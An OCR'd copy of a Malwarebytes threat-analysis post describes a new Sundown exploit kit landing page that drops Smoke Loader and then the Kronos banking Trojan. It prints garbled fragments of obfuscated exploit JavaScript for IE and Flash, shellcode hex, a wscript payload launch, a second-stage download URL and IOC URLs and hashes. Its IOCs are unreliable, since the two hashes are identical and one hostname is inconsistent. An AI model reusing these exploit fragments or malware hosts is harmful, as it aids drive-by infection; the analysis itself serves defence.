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As we keep a tab on exploit kits, today we are looking at some changes with Sundown EK. Nowhere near as

popular as RIG EK, this exploit kit still remains a threat with exploits for Internet Explorer, Flash, and Silverlight.

In early October we detected a new landing page format for Sundown EK, which followed on some previous new
URL patterns. The notable changes are additional obfuscation and the (ab)use of white space throughout the
HTML landing page.

For once, the payload dropped in this case isn’t ransomware but a two stage infection starting with a downloader

which retrieves a banking Trojan.

Before
# Result Protocol Host URL Body
arf. Fpmqnveudﬂqallotewb;b]emaakwmnqq top  findex.php?uEvgEFa30s]USg=sCa2MW 2 1gdRFX_c16loimGgZJi-RVrogCiniMilg7 1ksX. ..
7H 200  HTTP arf. fpzhgnvevltigali ikvuiwngg.top /5803675896 78954654986459286/48956 79456 78456874356487356 743256 5wf 33,591
Ela 200 HTTP arf. fpzhgnvevitigali bpbj ikvuiwnga.top  /5803675896789546 54986459 256/45964309 773946974365 7974386794384 xap 20,412
Ela4 200 HTTP sd4. gluvapwveakuplznaophtwjxawwnowhfmig....  fz.phpfid=109 118,904
1| il 3

% Fiddlereript | [£] Log | [] Filters | ™ Timeline

|Header5 | Textview | SyntaxView | WebForms ‘ HexView | Auth | Cookies | Raw | JS0OM | XML |

Request Headers [Raw] [Header Definitions]
GET /index php 7uEvqEFa30s]USg=sCaZzMW2 1qgdRFX_c18)loimGgZli-RVrggCinlNilg7 ksXjw TYhRTla HTTP./1.1

Transformer | Headers ||TextView | SyntaxView | ImageView | Hex\iew | WebView | Auth | Caching | Cookies | Raw | JS0ON | XML |

<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http-//www w3 ora/TR/xhtml 1/DTD.Adtml 1-strict.dtd">
<html lang="en" dir="Htr">
<head>
itles
NAbuEpDSCd¥foFvh  <itle>
</head>
d:ody><5mpt>GFs;hdfgjhdesgdﬁ"hd=tn.|e if((GFsjhdfgjhdesgdffihd)){function k[H\rar ESIIX c=[document) HJFghjgdshJHG="script" b=c["createE"+"lement" ][HJthJgdshJHG]b[‘type 1
="texd/|"+ "avascript" b text=a a=document[" getEIemerrtsByTagName "|"script")[0].a parentNode bo="Before ", "insert"+bo b a)itry k (licatch(m)ifunction | (fvar s="
BASEGR4HERE"var e={}ib=0.c x.aq=0.ar="" dfadfg=Sting fromCharCode L=s length:var A="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefahijkimnoparstuvayz0123456789
[+ For{i=0i<2+30+32; H+}(e[A d13rﬂtﬁ]]=dfor{x=ﬂx<Lx+n—}{c=e[s charftf)]:b=lb<<Blcag+=6bx=2whilefaq>=(3H{a=b>>>(ag- 10—2]}&200+55]{xdn]ﬁ&{r+=dfgdfg{a]]}}fﬂum rii</scrpts
</body=<body=<script>GFsjhdfgihdesgdffjhd=true if{{GFsjhdfgihdesgdffihdfunction k{{var a=l{).c={document), HJFghigdshJHG="script" b=c["'create E"+"lement "}{HJFghjgdshJHG):b
['type"]="texd/|"+" avascript" b text=a a=document['get lements By TagName"]{"script ")[0].a parent Nodebo="Befora", "insert"+bo b a)itrylk (Jcatchm)function | (Hvar
5="2ZnVu'Y3Rpb24aVGhya lqaGRmdGdac2QoZmdyZWdmZWZ2ZWVhKSB7DGlogICAgdm FylGpmZmdn| D0gd 2uZG 33LmRv Y 3 ZWS0LmMyZWFIZUVsZW 1lbnGoImGilCsg Lypzd 3Nk Z
mpzZ2pranMNkZmdkaGZrc2RnamPRrZmdnam RrZmdoc 2Rk KiBgIml 2lik 7DGogICAgd AuZG53L0m Ry Y 3Vt ZW S 0Lm v ZHku Y XBwZW S Q 2hpbGQolCBac 3dz 25 2qc 2daaZpz 2G Zn 2Ghma 3Nk Z
2pka2ZnZ2pka2ZnaHNkZCovIGpmZmdnKTsNCiAgICBgZmZnZ 1siaWsuZ SlaKyAickhUTUwiXSASIGZncmVnZmVmdm WY TsNCn07DGoNCmZ 1bmNIaWuIGR2:2R2Y 3coKSB7DGoglC
AgdmPylGZiZ2)2ZmZk ZXY TDQogICAgZmdn YnZmZmRIdiASICc 8b2Jg ZWNOIG Ns YXNzaW G SimNsc 2kOmGy N2 Nk Y| ZLWANmGt MTFZI05Nm 4L TAONDU 1Mz UOMD AwMClg Y Wxsb 3d T
Y 3pcHRBY2Nic3M3YWa3YXzIHdp ZHRo P SyMSlgaGVpZ 2h 0P SlzMil+JzsNCiAgICBm YmdidmZm ZG V21 D0gZmJn YnZmZmRldiArlCe 8cGRy YW 0gbm Rt Z T libW 323 W LilHZhb HVIPSI10D
AzNic 10Dk 2NzgSNTQ2ZNTQS0DYINTkyODYvNDg5NT Y20 TG 1Njc4NDU20Dc0Mz UZNDg 3Mz U2ZNzQz MU 2LnN3ZilgLz4n Oy AvKn N 3c 2Rman Nnamtac2RmZ2RoZmtz ZGdo ZGtmZ2dg
ZGtmZ2hzZGQRaLwOKICAQIGAZ2)27m e ZXYaP SBm Ymdidm Zm ZGV2ICsgJzen Y X¥Jhb S BuYW1IP Sdwb GF 3l B2YWec 1 ZTOidHI 125 IvPic 7D Qog ICAgZmdn YnZmZmRIdiASIG Zi Z2) 2Zm e 22X
YgKyAnPHBhcm Rt IGShb W USRmdhc 2h WY XJzIHZhb HVIP SJleGViP ThkewO TASMDlowO TASMDlowO TASM DlewO TASMDlewO TASM DkewO TASMDlewO TASMDlowO TASMDlewQ TASM DlewD
TARMMkew I TARM Dlew O TRFCie Mz NDO TYNOFIAM TMwWO FIANIRDOFIANIFROF 1 RTAAO FIARThwi Flz NiYY 2Mzk DRIFAN VG Ml Mz Ni A ZTIMICeN DR CNDL Z0zhCNTOWONeAMNONFNT

[Lm | »

After
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# Result  Protocol Host URL Body
<8 200 HTIP fhbag. futureproducts.xyz findex. php?8Fn3HGCagA=s528MNjmi 16R.QG3jf2qB19 InXhsFigBMrQfaziFjvaoksXmwLLUIEZND
HTTP fhbg.futureproducts.xyz  jundefined

3 200 HTTP fhbg.futureproducts.xyz  [45786437956439785/127.swf 22,693
4 200 HTTP fhbg. futureproducts.xyz /5803675896 789546 54986459286 /48956 79456 784568 7435648 7356 743256 swf 33,591
EI 3 200 HTTP fhba. futureproducts.xyz /5803675896 7395496 54986459286/45964309773946974305 7974386 794384, xap 20,412
Els 200 HTTR de.pidogo.xyz  [43526876827345687356872456, php?id=127 122,405
El7 200 HTTP de.pidogo.xyz  fz.php?id=127 122,405
'l ] 3

Inspectors | % AutoResponder | & Composer | o5z FidderSeript | 5] Log | [] Filters
Headers | Textview Syntaxview WebForms HexView Auth Cookies Raw 150N XML

GET /index php 72Fn 3HGC 8aA=s5 28Njmi 16RAG 329 BJ91nXhsFqBMrQf 921V BoksXmwL LIEZNO HTTP/1.0

Transformer Headers | TextView | SyntaxView ImageView HexView WebView Auth Caching Cookies Raw JSON XML

<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http:/Awww w3.ora/TR.Ahtml 1/DTD.Ahtml 1-strict .dtd "> -
<html lang="en" dir="Hr">
<head<script>

m

+cW-HPCWrOYl+cig2vETWnJ5256A5 Vi 3EKGi 5GawxbmVi 1/ TkJec TEGZY 20qKQ6AFpk EYN2n HaheDUdhz YMEnGIUFzUCALRIB/TLAY vt +w 7exsWd'Yb/LXe4k DOPXSny01YiYGpaBTs
Cxbz /Ay 7ck 3U3i4DREzZ2vw Slu 7VFUd-+yBQv YL 17dm4ubdedivi 1HUcp+

2YESXBzJClUpohaggOyWWy54j25n FhOsre|V+h 3G PN+ADL SwalL23KVG KakQv Inb EtNXM 1 P SCoP I'YVBERfDIub PbdgOkt 2aL/6 21050 X452qt Vz UjWeb0Zetg Aeae Iv DIHC KE e 9TY=)
</scrpt><script>Hjdgfhfsf

(OFCWOITHm Yu SGTauhriWpt ZE4W uzX3f Rk RSLref LFg 520 BZXe MW K3VUKP Shf+tXEausuQ4m 2F Ucglra/ Vi BSe Kk FdIQGuo KL S+b 0 Di/gOMIU+t Ful RKe 00cO5in LiRHAQ DY z+2IW
MCZEpncE+hxhuQ588gAT0R0 /LY TosLgOoleYFOISJI7eQTM TG+

5WhRGvrvkJhw4dussOuFayxE Ny 7TS /sim| De Wk DBALmtayw MY+W U K+/MDy 15 UGP4lalHtuRZ gt DFVe De 8kikl TUHDfqUUOm¥ P K/ocG 1KHrasCatNicGm TJ BDIs KLX 4Gy S0 TmmSncp KX
vZAnETS5JgCe 8No RxGRLALWe Sigkd SR T+ T7KBugf/WwhaCcMH5pj0H7 TIRgAtVDG 543N/ JCRS0og BWy Tolj EFTKKA Tdvxl TeNgJbg 1w S+Coc40 Batth 49 YmGCzP b K¥barlaGrCFcS
HMFMPwrPtcM2X+ctnWeskAVES6243

+xct ABazdrizck 70/Bw31 TspQX2A ZHHLRP 244N Yogax Unf ThdWa4G AdfIHm3Ha 7N 3d UIh P 3b BJ 88 Ak 2 g+ DJU4rGhk 6X) AWOFEY BiIND ZU T ZdGOm BAF4C+Ywrb S5lliIPgnhmOf Sjlaad
mPogL+WTHmcBxbgdd/pEgkm+h UnUal 5XZiBDd0qg 1Ce+rTEan VybnCk 3RvalNJEVm Y AvuSlowh Mg SLS 21 2.pem Slomifm U4i Tz UHCk IFACFOcHzb 1e+d40 X Mp Ng XS AVIWInMVi RIiC
za 1ck Mfojb HmMaz R0u8gv Ep ShyH 2w Sx8t /3Ingg S 9b PslimBNX2sR./T2b+DTO30YDal Z2LzvuGBYLOWEBv U&i1gi 1y TOby4b./njMuDgow D BenBem Be BUG Lkja N 4phKmug XLh 7Ssd EznuGIIR
k+EecvxgetyiPiDON7oKgGle ShpXyeDdugwC4AD7HTyao PR+

9u76n Segdd XGZB 3K KK7ITAKLIwEFOwWGISioQ 7wAsIms In Tnbh F2bepy 74h Layu AFQNzGQDICGJaGtyux Leyucg fxNkrLiZkm KWMMOiEa LIS 35iMv Ka YC+

1FX3AQ/VCks Ined 78 feml+RwGLOKEKkm 18%zFh 'Y Pe 821 1PnjHFVVEBE=APf DeVp AgrZthfzim 1NKbRn 1P/41RjS g Y Kd Ppbn 7nP RVEK 4w 3dezazdv TFU2WDNEXIHuDySVOb ULiBignBV
23rY2Q00uk Ys 3bEolsh 1t TecoCBb P 1ml Ads4sp 7v+qDYql U Dt Us502sai U 7o RZF 2VLey KW 75050IHp ImLnoCsHF +6++

2Trw RrFs 7e KY BziX/ Mhf HDjSip TiriGcSwml Sduowf 7 PMMyNA KGtLGEDS AT AuzKWDOPu kb B1pICRP 2)XGo F6z 0m 5z Mnj UCgiro VXVCZ LamvG KaMw TObWHillJsNF1i0 DMs PPkNKSAD
aBsb 72L AR 3Fm 871 Lsr2/+msG EpxchGBwJ50e KGik A75DQMY 7k I5B8a35Zaye WaE+

0TeeTg5b0dJFdVIsQad+LktcAZCI4R4wlcKme BHKh AoRo MBPkmXuHiKgq 2Tl /piP VK IGzmO ETLAZI S Hino Rat D 2e Tv Ay(iFI LigGemF 3M4jMo W05 3bal Lagi2grHG S St OIVWym Zk10Djr
b59b FXKel B9 Hk DBSGFOidz HIK23Xd TWSHCIGIRNAvfilup WuZARZ 7Uj 1825k Mdv 7pf+m B Dyk FO 3dqa LWd /1 L23p At YWC Zok Xm E395 24w =="</script ></body:

</html=

m

Here are some highlights

 Call for IE exploit

</script><script type="t j ipt"” >document.namespaces.add( v
‘urn:schemas-microsoft-com:wvml® #Fdefault#HML"

document.createStyleSheet css5Text :* { behavior:url(#default#VML); di ay: inline-block;

1w
J

var ovl ‘oval’; var oke ‘stroke’

var vl ovl oke i ml
var v2 ovl oke i ml:
document.body.insertAdjacentHTML( "afterbegin’, vl
document.body.insertAdjacentHTML( "afterbegin’, v2

e Call for Flash exploit
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</script><script type="t ] pt" >dfjkdvEF=true;if( (dfjkdvEF)){function fsgooifohvbev
r kjfgkjfgfv=new hjsdf(’'ShockwaveFlash.ShockwaveFlash.&");try
jfgfv.AllowScriptAccess="always " }catch(e){return’6,8,8" }}catch(e return new hjsdf

awaveFlash.ShockwaveFlash').GetVariable( ' $version').replace( /\D+/g,"," ) .match(/",?(.+),?$%/
catch(e){try{if(navigator.mimeTypes[ "applicatio -shockwave-flash™].enabledPlugin){return

navigator.plugins[“Shoc e Flash 2.8~ navigator.plugins[“Sh ve Flash™
description.replace(/\D+/g,”," ) .match(/*,?(.+),?8/)[1 h(e return’®,08,8" }var version
fsgooifohvbev();var vArr=version.split(',’);if(vArr[@ fkhjkghg( ) }else{ADfsdgs
function fkhjkghg(hkecgdshfkj

var SFfbfv '<object classi id:d: aebd-1] 444553548000

allowScriptAccess=always width

SFfbfv = SFfbfv aram name= i : a

SFfbfv = SFfbfv aram name="pl

SFfbfv SFfbfv :

SFfbfv = SFfbfv C / ati -shockwave-flash™ data="'+ hkcgdshfkj +'"

allowScriptAccess=alw, ' E

SFfbfv SFfbfv aram nam novie” walue= hkcgdshfkj +'" /»'

SFfbfv = SFfbfv E E play™ walue="true

SFfbfv = SFfbfv ! [endif]

SFfbfv = SFfbfv [if ITIE]>

SFfbfv = SFfbfv object»’

document.write(SFfbfv

fkhjkghg("/

type="appl
value="5¢
name="init
value="shel

101 > 5
DE334498B3 E 3FF33COFC Cey CFBDA3 } 242875E18B5A240
B4A8BA3C 241C6] ) 5 8BFDB1EFBCFFFFFFBBF581EE

76F2E787
hjkhjk(ghighj

e Payload launch (via wscript):
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function fir

ipt.Shell™)

end function

Malwarebytes Anti-Exploit blocks the various exploits pushed by Sundown EK:

¥ Fiddler Session 21 - http://fhbg.futureproducts.yz/index. php8Fn2HGCBgA=s528Njmil 6RQG3jf2qBII1 nXhsFjqBMErQfdzIFilVeoksXmwLUi.. [ = || B |[=23]

1 Reguest ! Response El Properties

| Headers | TextView |Syntax\|'iew I ImageView I HexView I WebView I Auth I Caching I Cookies I Raw I 150N I ML |

</script></head>
<body>

<script>Hidgfhfs (080 SMkTY3E4zVHz v Uk EAmNthmikCSJ0J=WPOEb 6s 5w YaitCE40+KHQRD/
- XADEZ=GEAGIBNEDXXICk SJEZ=KBtsdaHQSK X 2k KVAKI2F /o E8bNNYwET15ak JduTCtic+ il TGEZY05 /caglzaScdat Kb NG b +LB14qa LiiFcY/HOJUZav WAUGwIKEYn
UY/br/Mikk Go OmVplk 5 \Wp W DnE Srwok Z2GWiskn5U Tpo PuSF5<R DFKZD SKicSQZKIN36UNG He F DR RkCh Z0FRD LIG2usOE5 T TU/JAX+

— SEx6FNQO0JDBDL/5Lix5DRichrlo3ZTsYdMG Vo Tmni ISKKOCMEN
LIRS L2 | 11 Z5m +2i0GH D=V S UmaVcPHZBD3x20bsz0<NWKOV 1D

SIELEU7PsrZh3NgaMN2suka3360rzCia8lxNTCRK4gpMdOTOe Yai0g | =

Bl Lol

Malwal'ebytes AI'Iti-Expl Malwarebytes Anti-Exploit (==
blocked an exploit atten

Application: Internet Explorer (and add-ons)
Protection Layer: Malicious Memory Protection

Protection Technique: Exploit code executing from Heap memory by —
Application: Internet Explorer (and add-ons)

File /Process Blocked: MfA )
Protection Layer: Application Behaviour Protection
Attacking URL: N/A . .
Protection Technique: Exploit Visual Basic Scripting blocked
Malwarebytes File /Process Blocked: N/A
ANTI-EXPLOIT Attacking URL: N/A
- HokaQadv T=E710CQrE5, Vve KTHw VB F ZUVCigrOL AzBpr2ivib o i
MNQsdoibXianFo57alC4z D 7epWs./ SwlD8gsbh Th4ZNP+Qap 8t Ehbly 8FxLyz, Malwarebytes
+R/A+nAD U720l XpvCJKuliP 7N25m TWv VP RJs 3CmefRE+nKMCnbVA+vC2 -_Close
1D i T |rnr§?w=,r..=ym1r“=mnmanm| IbhatrA™ SRRl Dlleresi B Torl] ANTI-EXPLOIT
177:44  5,629/50,808 | Find... (press Ctrl+Enter to highlightany [T Viewin Notepad [[ ...

Payload overview

The initial dropped payload we captured in this particular new Sundown EK instance is Smoke
Loader a downloader whose purpose is to retrieve additional malware. Not too long ago, we

observed Smoke Loader being
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HE4E]1 FEE FUSH EDI al . 08485642
HE4E1 P& PUSH BExZ23E HraoZ = HEHEEZ22E
HE4E1FEE FUSH al.oB4a84608 Aral = @8484808
HE4EAL P73 CALL al.08481724 decrypt_strings
HE4E1FFe MO EST, ERE

BE4E1FF WOR ER, ERE

BE4E1FFC MO [CLOCAL. 21, ERx

HE4E1FFF ¥OR EOI,EDI al . 0B4E5R42
HE4E1 731 FUSH ESI String = HAQEEETE 7YY
HE4E1 732 CALL OWORD PTR D5:[@#483C821 l=trlenH

HE4E1 738 . | TEST ERH,ERX

HE4E17EA -~ [JL SHORT al.oB84817CE

BE4@1Fac IMC ERH

BE4E1 730 WOR_EBw#, EBE

HE4E 1 FaF ¥ |FCHP BYTE PTR D5:LCESI+EBR], @21

HEd4E1 735 o [ JHE SHORT al.@@4@17C4

BE4E 1735 IMC [CLOCAL. 21

HE4E1 738 MOy EDK, CLOCAL . 23

HE4E17IE . CHF EDX, [ARG. 11

HE4E17IE o [} JHME SHORT al.B@4B817C1

bE4alFAd Moy BYTE PTR D5:[CESI+EBR], @16

BE4E17A4 HMOL ERE, EBX

HE4E 1 FAG SUE ERX,EDI al . 0B485643
HEd4E1 FAS IMC ERE

HE4E1 7R FUSH ERX Hral = B8ZBEBAR
HE4E17AA CALL =1.H840178%8 al . 08481783
HE4617AF MoU CLOCAL. 11, ERX

HE4E1 B2 AOD EDI,ESI

bE4alvEd FUSH EOI StringToddd = ™
BE4E1FBS MoW ERX, CLOCAL. 13 al . 0B485643
HE4E1FES FUSH ERA ConcatStoing = "Hd#dsgisudd. dedditdusdy
98491 7B3 CALL_DWORD PTR_DS: (844830341 lstrcatA

4
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AE481724=a1. 08481724

Address ASCII

HEZEBOREE| 25 &4 23 25|73 23 25 V3|23 25 64 ZE| 25 &4 23 25| Rdttis#dsid. mdus
HEZEBOELIA| 64 23 25 6423 25 &4 25|25 64 23 25|64 Bl 25 &d| d#ddiHdusduidExd
HEZBAEZA]| 23 25 73 23|25 v3 23 25|64 2E 25 64|23 25 64 23| gHstwdstdd, HdgHdy
HEZBHEZE| 25 64 23 25/ 64 283 25 64|23 25 V2 61|68 Y4 V4 70| EduddeideisBhttp
HEZEBHE4E| 3A 2F 2F Fr|FF rr ZE 60|69 68 V2 &F|¥3 6F &6 Fd| s -wuww.microsoft
HEZEOEER| 2E 63 &6F &0 2F B1 53 &F| 66 v4 77 61| F2 65 EC 40| . com<ASof tware™-M
OEZEBOEGE| 69 &2 V2 &F| 73 6F &5 F4|EC 49 &E ¥4 65 v2 &E 65| icrosoft~Interne
HEZEBOETE| 74 2B 45 ¥ F8 6C &6F F2| 65 v2 B1 53| 6F 66 ¥4 ¥r|t EBEdplorerBSoftw
HEZEBOEEZA| 61 72 &5 B1)53 6F &5 74| FF 61 v2 65| 5C 40 &9 63| aref@Software~HMic
HEZEBREIE| 72 6F 73 &6F| 66 rd4 EC &7 |69 6E &4 &F| 77 v3 EC 45| rosoft~Windows~C
HEZBEEAA| 7S 72 72 65/ 6E F4 56 65|72 73 &9 &F| 6E 5C BB &F|urrentlersion~Po
HEZBHEBR| 6C 69 &3 &9 65 ¥3 EC 45|78 vE &C &6F| 72 65 V2 EBC| licies~Enplorer
HEZBHEACH| B2 Y5 &6E 81|53 6F &5 74|77 61 V2 65| EBC 40 &9 &3 Run@Software~HMic
HEZEQEDA| 72 6F 73 &F| 66 ¥4 EC E7| 69 6E &4 &F| 77 v3 EC 43| rosoft-~Windows-C
OEZEBORED| FS v2 v2 65 6E v4 56 &5 F2 v2 &9 &F|6E BC 52 V& u££¢ntUerian\Hﬂ

e T T B L T L T e T R e L L il Sl e ] 5 F- -

Upon execution, Smoke I.oader will download a second stage payload

from https://dl.dropboxusercontent.com/s/403dllw65z6wemb/vamos.lek.

112652FA &A 2@ PUSH &x2E

1126852FC a5Ce TEST ERH,ERX kernel22.BaseThreadIn it Thunk
112052FE 4 @7 JE SHORT wamos_pa.d1285367

11265268 204D F2 LER EC:,CLOCAL.Z21

1126852632 51 PUSH ECH

11265364 E@ FUSH ERX kernel32.BaseThreadIn itThunk
112605265 EB B2 JHMP SHORT wamos_pa. 812685318

112A5367 8045 F& LEA EAX,CLOCAL.Z]

11265267 FUSH ERX kernel22. BaseThreadIn itThunk
112685368 52 GEE9Z0E1 FUSH wamos_pa.B126EB968 ASCII "Kronos"™

112AE318 2030 &CFFFFFF LEA ECH,[LOCAL.S7]

112685216 EZ FHEFFFFF CALL wamos_pa.@lzZ812s8E

11285316 =1 ] FUSH ERHX kernel32.BaseThreadIn itThunk
112E5210 EZ Z&1RB0EE CALL wamos_pa. 81266047

1125321 oA 42 PUSH Exd2 HraZ = BE0@endz

112AE323 2045 F& LEA EA:x,CLOCAL.Z]

112E5325 =15} FUSH ERX Hraz = FEBZECIE

112A5327F BE BAS32381 MU ESI,wamos_pa. 81238366

112E532C =13 FUSH ESI Aral = GEOREEEE

11285220 E2 FADEFFFF CALL wamos_pa.B128322C vamos_pa. A12E3220

112AE332 2304 18 AOD ESF, Gxls

11 PAESEE = FllsH FaT

This particular piece of malware belongs to the Kronos banking Trojan family. It is a credential-stealer with form

grabbing and HTML injection capabilities.

Both of those threats are detected by Malwarebytes Anti-Malware:
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https://www.malwarebytes.com/antimalware

https://blog.malwarebytes.com /threat-analysis /2016 /10 /new-looking-sundown-ek-drops-smoke-loader-kronos-banker /

Malwarebytes

ANTI-MALWARE

DASHBOARD HISTORY MY ACCOUNT

Total Threats Detected: 2 2 of 2 identified threats are selected
| Threat Category Type Location
+| Trojan.Banker ® Malware File C:\scan\Kronos
| Trojan.Injector ® Malware  File C:\scan\Sundown_drop
Footnotes

We first noticed increased activity from Sundown EK

Collecting this Kronos payload was interesting because it is part of a trend we have observed recently of an

increased number in banking Trojans distributed via malvertising campaigns.

Special thanks to @hasherezade for help in unpacking the malware payloads.

Further reading

Smoke Loader — downloader with a smokescreen still alive

I0Cs:

e Raw Sundown EK landing: Link
 Partially deobfuscated landing (thanks David Ledbetter): Link
e URL patterns:
o fhbg.futureproducts.xyz/index.php?
8Fn3HGC8gA=sS28Njmil6RQG3jf2qBJ91nXhsFjqBM8rQf9zIFjJV6oksXmwLUiEzZNO
o fhbg.futureproducts.xyz/undefined
o fhbg.futureproducts.xyz/45786437956439785/127.swf
o fhbg.futureproducts.xyz/580367589678954654986459286/489567945678456874356487356743256.swf
o fhbg.futureproducts.xyz/580367589678954654986459286/459643097739469743657974386794384.xap
o de.piclogo.xyz/43526876827345687356872456.php?id=127
o de.piclogo.xyz/z.php?id=127
e Smoke Loader: e420e521f891c1a6245e377dc7a6ab70458b7c0d77ad39535cb59018a542fel5
e Kronos: e420e521f891c1a6245e377dc7a6ab70458b7c0d77ad39535cb59018a542fe15

Source: https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker
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https://twitter.com/hasherezade
https://www.malwarebytes.com/blog/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/
https://malwarebytes.box.com/s/qphvfvnidx0jdqykm48lfqh0ethcamdv
https://twitter.com/Ledtech3
https://malwarebytes.box.com/s/ny19iq7sgno5halixwyjsddfdljw96tj

